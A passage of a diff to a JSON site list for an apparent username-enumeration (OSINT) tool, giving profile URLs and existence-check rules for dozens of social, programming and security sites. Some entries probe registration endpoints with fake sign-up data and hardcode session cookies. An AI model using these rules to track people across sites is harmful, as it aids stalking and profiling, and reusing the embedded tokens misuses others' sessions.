"RegistrantCountry": "US" + } + }, + "snapchat": { + "url": "https://www.snapchat.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-z][a-z-_.]{3,15}", + "detect": [ + { + "statusCode": "200", + "url": "https://www.snapchat.com/add/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.snapchat.com/add/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rubygems": { + "url": "https://rubygems.org/", + "type": "Programmer", + "isNSFW": false, + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "detect": [ + { + "statusCode": "200", + "url": "https://rubygems.org/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://rubygems.org/profiles/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pypi": { + "url": "https://pypi.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://pypi.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://pypi.org/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "quizlet": { + "url": "https://quizlet.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://quizlet.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://quizlet.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pastebin": { + "url": "https://pastebin.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Pastebin.com - Not Found ", + "url": "https://pastebin.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://pastebin.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "packagist": { + "url": "https://packagist.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "reason=vendor_not_found", + "url": "https://packagist.org/packages/%s/", + "existUsername": "psr", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://packagist.org/packages/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "oracle": { + "url": "https://community.oracle.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "opensource": { + "url": "https://opensource.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://opensource.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://opensource.com/users/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nextcloud": { + "url": "https://nextcloud.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "minecraft": { + "url": "https://minecraft.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Couldn't find any profile with name", + "url": "https://api.mojang.com/users/profiles/minecraft/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://api.mojang.com/users/profiles/minecraft/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tft": { + "url": "https://lolchess.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No search results", + "url": "https://lolchess.gg/profile/na/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://lolchess.gg/profile/na/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitbook": { + "url": "https://gitbook.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.gitbook.io/", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://%s.gitbook.io/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hackernews": { + "url": "https://news.ycombinator.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No such user.", + "url": "https://news.ycombinator.com/user?id=%s", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://news.ycombinator.com/user?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "hackerrank": { + "url": "https://hackerrank.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Something went wrong", + "url": "https://hackerrank.com/%s", + "existUsername": "satznova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://hackerrank.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode": { + "url": "https://leetcode.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://leetcode.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode-cn": { + "url": "https://leetcode.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "抱歉!我们找不到您想访问的页面", + "url": "https://leetcode.cn/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.cn/u/%s/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "9gag": { + "url": "https://www.9gag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.9gag.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.9gag.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "csdn": { + "url": "https://blog.csdn.net/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://blog.csdn.net/%s", + "existUsername": "OneFlow_Official", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://blog.csdn.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "cnblogs": { + "url": "https://www.cnblogs.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.cnblogs.com/%s/", + "existUsername": "LyShark", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.cnblogs.com/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "oschina": { + "url": "https://my.oschina.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://my.oschina.net/%s", + "existUsername": "kisswu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://my.oschina.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "segmentfault": { + "url": "https://segmentfault.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "微信扫码登录", + "existRegex": "粉丝数", + "url": "https://segmentfault.com/u/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://segmentfault.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "trello": { + "url": "https://trello.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "model not found", + "url": "https://trello.com/1/Members/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://trello.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "seebug": { + "url": "https://www.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.seebug.org/accounts/profile/%s", + "existUsername": "kikay_lee", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "__jsluid_s=eea1cbf32a1f7e963c1aa33e29d33fb8; __jsl_clearance_s=1682778037.072|0|7DZXEgV4Oiq%2BI312i0Rr0bpHAUQ%3D" + }, + "userPage": "https://www.seebug.org/accounts/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "sec-wiki": { + "url": "https://www.sec-wiki.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "statusCode": "200", + "url": "https://www.sec-wiki.com/user/view/%s", + "existUsername": "re4lity", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sec-wiki.com/user/view/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "secrss": { + "url": "https://www.secrss.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "existRegex": "登录", + "url": "https://www.secrss.com/articles?author=%s", + "existUsername": "ISACA", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.secrss.com/articles?author=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugcrowd": { + "url": "https://bugcrowd.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://bugcrowd.com/%s", + "existUsername": "MuhammadKhizerJaved", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bugcrowd.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "track": { + "url": "https://bbs.zkaq.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "用户中心", + "nonExistRegex": "不存在该用户", + "url": "https://bbs.zkaq.cn/u/%s.html", + "existUsername": "nocircle", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.zkaq.cn/u/%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "mozhe": { + "url": "https://www.mozhe.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u53ef\\\\u4ee5\\\\u4f7f\\\\u7528", + "url": "https://www.mozhe.cn/check/nickname/exist", + "existUsername": "openkali", + "nonExistUsername": "youga777888", + "body": "nickname=%s&_token=UMXd6Cx41xzTBoZqU70SxTcOkc8heH7FomvsjOkN", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "mozhe-xsrf-token=eyJpdiI6InNNeXlxZjY0VktmXC9pcTBCeXU3d0VRPT0iLCJ2YWx1ZSI6IjdOUVF0OG5lSU92SmI3N1doVjZFY2dLUGZwUTFqS2tpQm9KMnVjS0NvRXRrWFlsUjN5RURUMnZQWmxRSCtDOVg1Wk45em9SWTg5cWxBMkNOdkl5TnVBPT0iLCJtYWMiOiJhM2ZkMmQ3YWRhZTkzNWYzMTI2ZTUzNzUxNTZjNzMyYTc1N2I0ZjQ5YzQ0MGY4M2Y2ZDhhMTcyZTRkZmUzOWY2In0%3D; mz_session=eyJpdiI6IlcrQU9FNlVPZ21Rak9nS2s5VzdsZ1E9PSIsInZhbHVlIjoidWVpNzc1ME9ad3RkQWFjRDV6RnRFWTJOQ1A3eG8wd0t6WVVMcEtMUlwvcEhOcmRvY1BEYkl5S0pjSEJTNGozT05cL2FOZDh4bUJtR1BoQ3hobitDV29yUT09IiwibWFjIjoiZDgwNmU5YTMzYWM2ODI5NTljMzFmNWE2ZjQ1NzUyYzY4MjIwYTkwMjMyMDFmMzU1MzJjNTQyNmY2ZGUxMDY1ZSJ9; Hm_lvt_9e72691775fe3271a38b32ad33975d5e=1682861764; Hm_lpvt_9e72691775fe3271a38b32ad33975d5e=1682861764", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.mozhe.cn/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jarvisoj": { + "url": "https://www.jarvisoj.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "This username has been used!!", + "url": "https://www.jarvisoj.com/api/register.json", + "existUsername": "kira", + "nonExistUsername": "youga777888", + "body": "email=155785154@qq.com&username=%s&organize=1&mobilephone=1&countryid=7&captcha=J871&agree=true&checkid=5e3f986d-0584-47d6-ad5b-cec7c825876b", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.jarvisoj.com/scoreboard", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "vulfocus": { + "url": "https://vulfocus.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "\\\\u8be5\\\\u7528\\\\u6237\\\\u5df2\\\\u88ab\\\\u6ce8\\\\u518c", + "url": "https://vulfocus.cn/api/user/register/", + "existUsername": "qianxiao324", + "nonExistUsername": "youga777888", + "body": "{\"username\":\"%s\",\"password\":\"123456\",\"email\":\"1@qq.com\",\"checkpass\":\"123456\",\"captcha_code\":\"1111\",\"hashkey\":\"f73d55f51cb61f2a69d085cea36b1ff11da052f3\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://vulfocus.cn/#/userrank/list", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "iteye": { + "url": "https://www.iteye.com/", + "type": "Programmer", + "isNSFW": false, + "sleep": 2, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.iteye.com/blog/user/%s", + "existUsername": "kristy-yy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.iteye.com/blog/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "unsplash": { + "url": "https://unsplash.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://unsplash.com/@%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://unsplash.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "seebug-paper": { + "url": "https://paper.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://paper.seebug.org/users/author/?nickname=%s", + "existUsername": "Y4tacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://paper.seebug.org/users/author/?nickname=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "douban": { + "url": "https://www.douban.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.douban.com/people/%s/", + "existUsername": "michellemou", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.douban.com/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "infoq": { + "url": "https://www.infoq.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infoq.cn/u/%s/", + "existUsername": "tiamozhang", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.infoq.cn/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatpost": { + "url": "https://threatpost.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://threatpost.com/author/%s/", + "existUsername": "natenelson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://threatpost.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "infosecurity-magazine": { + "url": "https://www.infosecurity-magazine.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infosecurity-magazine.com/profile/%s/", + "existUsername": "alessandro-mascellino", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.infosecurity-magazine.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xsssql": { + "url": "http://www.xsssql.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.xsssql.com/article/author/%s", + "existUsername": "weblcx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.xsssql.com/article/author/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "studygolang": { + "url": "https://studygolang.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "位会员加入了 Go语言中文网。", + "existRegex": "注册时间", + "url": "https://studygolang.com/user/%s", + "existUsername": "polaris", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://studygolang.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "0x00sec": { + "url": "https://0x00sec.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0x00sec.org/u/%s", + "existUsername": "risklimit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0x00sec.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ruby-china": { + "url": "https://ruby-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ruby-china.org/%s", + "existUsername": "Rei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ruby-china.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "tttang": { + "url": "https://tttang.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found", + "existRegex": "列表", + "url": "https://tttang.com/user/%s", + "existUsername": "巴斯.zznQ", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tttang.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "t00ls": { + "url": "https://www.t00ls.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "Bypass", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.t00ls.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "90sec": { + "url": "https://forum.90sec.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "true", + "existRegex": "false", + "url": "https://forum.90sec.com/u/check_username?username=%s&email=", + "existUsername": "admin05", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://forum.90sec.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "thehackerworld": { + "url": "https://www.thehackerworld.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.thehackerworld.com/profile/%s/", + "existUsername": "1-this-cht", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.thehackerworld.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sspai": { + "url": "https://sspai.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "用户数据不存在", + "existRegex": "id", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug=%s", + "existUsername": "waychane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sspai.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ld246": { + "url": "https://ld246.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found!", + "existRegex": "在线时长", + "url": "https://ld246.com/member/%s", + "existUsername": "hyggge", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ld246.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "qyer": { + "url": "https://bbs.qyer.com", + "type": "Social", + "isNSFW": false, + "detect": 